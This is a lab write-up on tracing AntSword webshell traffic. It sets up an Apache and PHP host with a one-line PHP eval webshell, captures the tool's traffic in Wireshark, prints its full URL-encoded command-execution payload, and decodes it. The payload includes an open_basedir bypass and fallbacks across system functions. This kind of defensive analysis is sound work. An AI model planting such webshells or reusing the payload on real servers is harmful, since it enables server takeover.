AntSword Traffic Analysis and Incident Tracing
Environment setup
:::info This setup uses an Ubuntu virtual machine together with Windows and Wireshark.
:::
Here, a bridged connection is used.
The main setup is an Apache + PHP environment.
sudo apt update
sudo apt install apache2 -y
sudo apt install php libapache2-mod-php -y
sudo systemctl restart apache2
Create a vulnerable PHP application.
echo "<?php @eval(\$_POST['ant']); ?>" | sudo tee /var/www/html/shell.php
You can check the IP address from the command line.
ip addr

Open Wireshark and capture traffic on VMnet8 using a filter.

Open AntSword.
Connect to the vulnerable Ubuntu host.

The result is as follows.

Traffic characteristics analysis
Summary
- Every request begins with “0”.
- For response packets, with the default setting, the format is an extra character followed by the result; the query result is a random number, the result, and a random number.

- Mainly uses HTTP POST requests (this is actually the same in all cases).
- The request body is parameterized and often uses a random key name.
Testing process
Execute a command
During data exchange between AntSword and the website, the data sent is encoded by an encoder before transmission. Supported encoding methods include default, base64, chr, chr16, and rot13. Data returned by the website is encoded using the selected decoder method before being returned; supported methods include default, base64, and rot13.
Both the decoder and encoder are set to default.

whoami

Follow the TCP stream in Wireshark.

ant=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.c27656278a11%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22fc689%22.%22900e3%22%3Becho%20%40asenc(%24output)%3Becho%20%2229eac8%22.%22fa1502%22%3B%7Dob_start()%3Btry%7B%24p%3Dbase64_decode(substr(%24_POST%5B%22k1ec9ed6804696%22%5D%2C2))%3B%24s%3Dbase64_decode(substr(%24_POST%5B%22k99eb9fde3781e%22%5D%2C2))%3B%24envstr%3D%40base64_decode(substr(%24_POST%5B%22ndb0b51fc34194%22%5D%2C2))%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24c%3Dsubstr(%24d%2C0%2C1)%3D%3D%22%2F%22%3F%22-c%20%5C%22%7B%24s%7D%5C%22%22%3A%22%2Fc%20%5C%22%7B%24s%7D%5C%22%22%3Bif(substr(%24d%2C0%2C1)%3D%3D%22%2F%22)%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3A%2Fusr%2Flocal%2Fsbin%3A%2Fusr%2Flocal%2Fbin%3A%2Fusr%2Fsbin%3A%2Fusr%2Fbin%3A%2Fsbin%3A%2Fbin%22)%3B%7Delse%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3BC%3A%2FWindows%2Fsystem32%3BC%3A%2FWindows%2FSysWOW64%3BC%3A%2FWindows%3BC%3A%2FWindows%2FSystem32%2FWindowsPowerShell%2Fv1.0%2F%3B%22)%3B%7Dif(!empty(%24envstr))%7B%24envarr%3Dexplode(%22%7C%7C%7Casline%7C%7C%7C%22%2C%20%24envstr)%3Bforeach(%24envarr%20as%20%24v)%20%7Bif%20(!empty(%24v))%20%7B%40putenv(str_replace(%22%7C%7C%7Caskey%7C%7C%7C%22%2C%20%22%3D%22%2C%20%24v))%3B%7D%7D%7D%24r%3D%22%7B%24p%7D%20%7B%24c%7D%22%3Bfunction%20fe(%24f)%7B%24d%3Dexplode(%22%2C%22%2C%40ini_get(%22disable_functions%22))%3Bif(empty(%24d))%7B%24d%3Darray()%3B%7Delse%7B%24d%3Darray_map('trim'%2Carray_map('strtolower'%2C%24d))%3B%7Dreturn(function_exists(%24f)%26%26is_callable(%24f)%26%26!in_array(%24f%2C%24d))%3B%7D%3Bfunction%20runshellshock(%24d%2C%20%24c)%20%7Bif%20(substr(%24d%2C%200%2C%201)%20%3D%3D%20%22%2F%22%20%26%26%20fe('putenv')%20%26%26%20(fe('error_log')%20%7C%7C%20fe('mail')))%20%7Bif%20(strstr(readlink(%22%2Fbin%2Fsh%22)%2C%20%22bash%22)%20!%3D%20FALSE)%20%7B%24tmp%20%3D%20tempnam(sys_get_temp_dir()%2C%20'as')%3Bputenv(%22PHP_LOL%3D()%20%7B%20x%3B%20%7D%3B%20%24c%20%3E%24tmp%202%3E%261%22)%3Bif%20(fe('error_log'))%20%7Berror_log(%22a%22%2C%201)%3B%7D%20else%20%7Bmail(%22a%40127.0.0.1%22%2C%20%22%22%2C%20%22%22%2C%20%22-bv%22)%3B%7D%7D%20else%20%7Breturn%20False%3B%7D%24output%20%3D%20%40file_get_contents(%24tmp)%3B%40unlink(%24tmp)%3Bif%20(%24output%20!%3D%20%22%22)%20%7Bprint(%24output)%3Breturn%20True%3B%7D%7Dreturn%20False%3B%7D%3Bfunction%20runcmd(%24c)%7B%24ret%3D0%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(fe('system'))%7B%40system(%24c%2C%24ret)%3B%7Delseif(fe('passthru'))%7B%40passthru(%24c%2C%24ret)%3B%7Delseif(fe('shell_exec'))%7Bprint(%40shell_exec(%24c))%3B%7Delseif(fe('exec'))%7B%40exec(%24c%2C%24o%2C%24ret)%3Bprint(join(%22%0A%22%2C%24o))%3B%7Delseif(fe('popen'))%7B%24fp%3D%40popen(%24c%2C'r')%3Bwhile(!%40feof(%24fp))%7Bprint(%40fgets(%24fp%2C2048))%3B%7D%40pclose(%24fp)%3B%7Delseif(fe('proc_open'))%7B%24p%20%3D%20%40proc_open(%24c%2C%20array(1%20%3D%3E%20array('pipe'%2C%20'w')%2C%202%20%3D%3E%20array('pipe'%2C%20'w'))%2C%20%24io)%3Bwhile(!%40feof(%24io%5B1%5D))%7Bprint(%40fgets(%24io%5B1%5D%2C2048))%3B%7Dwhile(!%40feof(%24io%5B2%5D))%7Bprint(%40fgets(%24io%5B2%5D%2C2048))%3B%7D%40fclose(%24io%5B1%5D)%3B%40fclose(%24io%5B2%5D)%3B%40proc_close(%24p)%3B%7Delseif(fe('antsystem'))%7B%40antsystem(%24c)%3B%7Delseif(runshellshock(%24d%2C%20%24c))%20%7Breturn%20%24ret%3B%7Delseif(substr(%24d%2C0%2C1)!%3D%22%2F%22%20%26%26%20%40class_exists(%22COM%22))%7B%24w%3Dnew%20COM('WScript.shell')%3B%24e%3D%24w-%3Eexec(%24c)%3B%24so%3D%24e-%3EStdOut()%3B%24ret.%3D%24so-%3EReadAll()%3B%24se%3D%24e-%3EStdErr()%3B%24ret.%3D%24se-%3EReadAll()%3Bprint(%24ret)%3B%7Delse%7B%24ret%20%3D%20127%3B%7Dreturn%20%24ret%3B%7D%3B%24ret%3D%40runcmd(%24r.%22%202%3E%261%22)%3Bprint%20(%24ret!%3D0)%3F%22ret%3D%7B%24ret%7D%22%3A%22%22%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&k1ec9ed6804696=spL2Jpbi9zaA%3D%3D&k99eb9fde3781e=zoY2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIGE5MDA4YjM7cHdkO2VjaG8gYTczOGUzZGI%3D&ndb0b51fc34194=4z
First URL-decode it. For example, we can process the final base64 value.
zoY2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIGE5MDA4YjM7cHdkO2VjaG8gYTczOGUzZGI%3D&ndb0b51fc34194=4z
# 删除前面的zo
Y2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIGE5MDA4YjM7cHdkO2VjaG8gYTczOGUzZGI
--->
cd "/var/www/html";whoami;echo a9008b3;pwd;echo a738e3db
chr encoding + rot13 output
Overall, the logic and format are the same; only the encoding format of the sent and received packets differs. My understanding is that this adds another encoding/decoding layer.
The situation is as follows.

The rot13 output is as follows.

Decoded:

Attachments
rot13 decoding script
import codecs
def rot13_decode(text):
try:
decoded_text = codecs.decode(text, 'rot_13')
return decoded_text
except Exception as e:
print(f"解码时发生错误: {e}")
return None
if __name__ == "__main__":
while True:
encoded_text = input("请输入要进行 ROT13 解码的文本 (输入 'quit' 退出): ")
if encoded_text.lower() == 'quit':
break
decoded_result = rot13_decode(encoded_text)
if decoded_result is not None:
print(f"ROT13 解码结果: {decoded_result}\n")
print("脚本已退出。")
def rot13_manual(text):
result = []
for char in text:
char_code = ord(char)
if 'A' <= char <= 'Z':
new_code = ord('A') + (char_code - ord('A') + 13) % 26
result.append(chr(new_code))
elif 'a' <= char <= 'z':
new_code = ord('a') + (char_code - ord('a') + 13) % 26
result.append(chr(new_code))
else:
result.append(char)
return "".join(result)